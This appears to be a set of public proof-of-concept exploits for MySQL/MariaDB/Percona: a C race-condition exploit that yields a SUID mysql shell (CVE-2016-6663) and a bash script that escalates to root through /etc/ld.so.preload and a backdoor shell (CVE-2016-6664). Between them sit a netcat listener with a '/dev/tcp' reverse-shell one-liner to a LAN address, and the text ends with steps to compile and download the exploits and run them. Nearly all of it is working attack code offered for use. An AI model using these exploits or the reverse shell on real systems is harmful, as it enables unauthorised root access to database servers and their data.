#include <fcntl.h>
#include <grp.h>
#include <mysql.h>
#include <pwd.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>


#define EXP_PATH         "/tmp/mysql_privesc_exploit"
#define EXP_DIRN         "mysql_privesc_exploit"
#define MYSQL_TAB_FILE   EXP_PATH "/exploit_table.MYD"
#define MYSQL_TEMP_FILE   EXP_PATH "/exploit_table.TMD"

#define SUID_SHELL   EXP_PATH "/mysql_suid_shell.MYD"

#define MAX_DELAY 1000   // can be used in the race to adjust the timing if necessary

MYSQL *conn;  // DB handles
MYSQL_RES *res;
MYSQL_ROW row;

unsigned long cnt;


void intro() {

printf(
       "\033[94m\n"
       "MySQL/Percona/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n"
       "mysql-privesc-race.c (ver. 1.0)\n\n"
       "CVE-2016-6663 / CVE-2016-5616\n\n"
       "For testing purposes only. Do no harm.\n\n"
"Discovered/Coded by:\n\n"
"Dawid Golunski \n"
"http://legalhackers.com"
       "\033[0m\n\n");

}

void usage(char *argv0) {
   intro();
   printf("Usage:\n\n%s user pass db_host database\n\n", argv0);
}

void mysql_cmd(char *sql_cmd, int silent) {

   if (!silent) {
   printf("%s \n", sql_cmd);
  }
   if (mysql_query(conn, sql_cmd)) {
       fprintf(stderr, "%s\n", mysql_error(conn));
       exit(1);
  }
   res = mysql_store_result(conn);
   if (res>0) mysql_free_result(res);

}


int main(int argc,char **argv)
{

   int randomnum = 0;
   int io_notified = 0;
   int myd_handle;
   int wpid;
   int is_shell_suid=0;
   pid_t pid;
   int status;
   struct stat st;
   /* io notify */
   int fd;
   int ret;
   char buf[4096] __attribute__((aligned(8)));
   int num_read;
   struct inotify_event *event;
   /* credentials */
   char *user     = argv[1];
   char *password = argv[2];
   char *db_host = argv[3];
   char *database = argv[4];


   // Disable buffering of stdout
   setvbuf(stdout, NULL, _IONBF, 0);

   // Get the params
   if (argc!=5) {
usage(argv[0]);
exit(1);
  }
   intro();
   // Show initial privileges
   printf("\n[+] Starting the exploit as: \n");
   system("id");

   // Connect to the database server with provided credentials
   printf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host);
   conn = mysql_init(NULL);
   if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {
       fprintf(stderr, "%s\n", mysql_error(conn));
       exit(1);
  }

   // Prepare tmp dir
   printf("\n[+] Creating exploit temp directory %s\n", "/tmp/" EXP_DIRN);
   umask(000);
   system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);
   system("chmod g+s /tmp/" EXP_DIRN );

   // Prepare exploit tables :)
   printf("\n[+] Creating mysql tables \n\n");
   mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0);
   mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0);
   mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
   mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);

   // Copy /bin/bash into the mysql_suid_shell.MYD mysql table file
   // The file should be owned by mysql:attacker thanks to the sticky bit on the table directory
   printf("\n[+] Copying bash into the mysql_suid_shell table.\n   After the exploitation the following file/table will be assigned SUID and executable bits : \n");
   system("cp /bin/bash " SUID_SHELL);
   system("ls -l " SUID_SHELL);

   // Use inotify to get the timing right
   fd = inotify_init();
   if (fd < 0) {
       printf("failed to inotify_init\n");
       return -1;
  }
   ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);


   /* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */

   printf("\n[+] Entering the race loop... Hang in there...\n");

   while ( is_shell_suid != 1 ) {

       cnt++;
if ( (cnt % 100) == 0 ) {
printf("->");
//fflush(stdout);
}

       /* Create empty file , remove if already exists */
       unlink(MYSQL_TEMP_FILE);
       unlink(MYSQL_TAB_FILE);
  mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);

/* random num if needed */
       srand ( time(NULL) );
       randomnum = ( rand() % MAX_DELAY );

       // Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink
       pid = fork();
       if (pid < 0) {
           fprintf(stderr, "Fork failed :(\n");
      }

       /* Child process - executes REPAIR TABLE  SQL statement */
       if (pid == 0) {
           usleep(500);
           unlink(MYSQL_TEMP_FILE);
   mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);
           // child stops here
           exit(0);
      }

       /* Parent process - aims to replace the temp .tmd table with a symlink before chmod */
       if (pid > 0 ) {
           io_notified = 0;

           while (1) {
               int processed = 0;
               ret = read(fd, buf, sizeof(buf));
               if (ret < 0) {
                   break;
              }
               while (processed < ret) {
                   event = (struct inotify_event *)(buf + processed);
                   if (event->mask & IN_CLOSE) {
                       if (!strcmp(event->name, "exploit_table.TMD")) {
                           //usleep(randomnum);

   // Set the .MYD permissions to suid+exec before they get copied to the .TMD file
   unlink(MYSQL_TAB_FILE);
   myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);
   close(myd_handle);
   chmod(MYSQL_TAB_FILE, 04777);

   // Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec
                           unlink(MYSQL_TEMP_FILE);
                           symlink(SUID_SHELL, MYSQL_TEMP_FILE);
                           io_notified=1;
                      }
                  }
                   processed += sizeof(struct inotify_event);
              }
               if (io_notified) {
                   break;
              }
          }


           waitpid(pid, &status, 0);
      }

// Check if SUID bit was set at the end of this attempt
       if ( lstat(SUID_SHELL, &st) == 0 ) {
   if (st.st_mode & S_ISUID) {
is_shell_suid = 1;
  }
      }

  }

   printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt);
   system("ls -l " SUID_SHELL);

   printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n   Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");
   system(SUID_SHELL " -p -i ");
   //system(SUID_SHELL " -p -c '/bin/bash -i -p'");

   /* close MySQL connection and exit */
   printf("\n[+] Job done. Exiting\n\n");
   mysql_close(conn);
   return 0;

}

nc -lvvp 7777
/bin/bash -i >& /dev/tcp/192.168.2.161/7777 0>&1

cd var/www/html/
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
./mysql-privesc-race test 123456 localhost test

#!/bin/bash -p
#
# MySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit
# mysql-chowned.sh (ver. 1.0)
#
# CVE-2016-6664 / OCVE-2016-5617
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# https://legalhackers.com
#
# Follow https://twitter.com/dawid_golunski for updates on this advisory.
#
# This PoC exploit allows attackers to (instantly) escalate their privileges
# from mysql system account to root through unsafe error log handling.
# The exploit requires that file-based logging has been configured (default).
# To confirm that syslog logging has not been enabled instead use:
# grep -r syslog /etc/mysql
# which should return no results.
#
# This exploit can be chained with the following vulnerability:
# CVE-2016-6663 / OCVE-2016-5616
# which allows attackers to gain access to mysql system account (mysql shell).
#
# In case database server has been configured with syslog you may also use:
# CVE-2016-6662 as an alternative to this exploit.
#
# Usage:
# ./mysql-chowned.sh path_to_error.log
#
#
# See the full advisory for details at:
# https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html
#
# Video PoC:
# https://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html
#
# Disclaimer:
# For testing purposes only. Do no harm.
#

BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/mysqlrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"

function cleanexit {
   # Cleanup
   echo -e "\n[+] Cleaning up..."
   rm -f $PRIVESCSRC
   rm -f $PRIVESCLIB
   rm -f $ERRORLOG
   touch $ERRORLOG
   if [ -f /etc/ld.so.preload ]; then
       echo -n > /etc/ld.so.preload
   fi
   echo -e "\n[+] Job done. Exiting with code $1 \n"
   exit $1
}

function ctrl_c() {
       echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."
   cleanexit 0
}

#intro
echo -e "\033[94m \nMySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit \nmysql-chowned.sh (ver. 1.0)\n\nCVE-2016-6664 / OCVE-2016-5617\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"

# Args
if [ $# -lt 1 ]; then
   echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
   echo -e "It seems that this server uses: `ps aux | grep mysql | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
   exit 3
fi

# Priv check

echo -e "\n[+] Starting the exploit as \n\033[94m`id`\033[0m"
id | grep -q mysql
if [ $? -ne 0 ]; then
   echo -e "\n[!] You need to execute the exploit as mysql user! Exiting.\n"
   exit 3
fi

# Set target paths
ERRORLOG="$1"
if [ ! -f $ERRORLOG ]; then
   echo -e "\n[!] The specified MySQL catalina.out log ($ERRORLOG) doesn't exist. Try again.\n"
   exit 3
fi
echo -e "\n[+] Target MySQL log file set to $ERRORLOG"

# [ Active exploitation ]

trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
      #include <sys/types.h>
      #include <sys/stat.h>
      #include <fcntl.h>

uid_t geteuid(void) {
   static uid_t (*old_geteuid)();
   old_geteuid = dlsym(RTLD_NEXT, "geteuid");
   if ( old_geteuid() == 0 ) {
       chown("$BACKDOORPATH", 0, 0);
       chmod("$BACKDOORPATH", 04777);
       //unlink("/etc/ld.so.preload");
  }
   return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
   echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
   cleanexit 2;
fi


# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check
if [ -f /etc/ld.so.preload ]; then
   echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
   exit 2
fi

# Symlink the log file to /etc
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
   echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
   cleanexit 3
fi
echo -e "\n[+] Symlink created at: \n`ls -l $ERRORLOG`"

# Wait for MySQL to re-open the logs
echo -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n"
read -p "Do you want to kill mysqld process to instantly get root? :) ? [y/n] " THE_ANSWER
if [ "$THE_ANSWER" = "y" ]; then
   echo -e "Got it. Executing 'killall mysqld' now..."
   killall mysqld
fi
while :; do
   sleep 0.1
   if [ -f /etc/ld.so.preload ]; then
       echo $PRIVESCLIB > /etc/ld.so.preload
       rm -f $ERRORLOG
       break;
   fi
done

# /etc/   dir should be owned by mysql user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null

#while :; do
#   sleep 0.1
#   ps aux | grep mysqld | grep -q 'log-error'
#   if [ $? -eq 0 ]; then
#       break;
#   fi
#done

# Check for the rootshell
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then
   echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
   echo -e "\n\033[94mGot root! The database server has been ch-OWNED !\033[0m"
else
   echo -e "\n[!] Failed to get root"
   cleanexit 2
fi


# Execute the rootshell
echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
$BACKDOORPATH -p

# Job done.
cleanexit 0

wget http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh
chmod 777 mysql-chowned.sh
./mysql-chowned.sh /var/log/mysql/error.log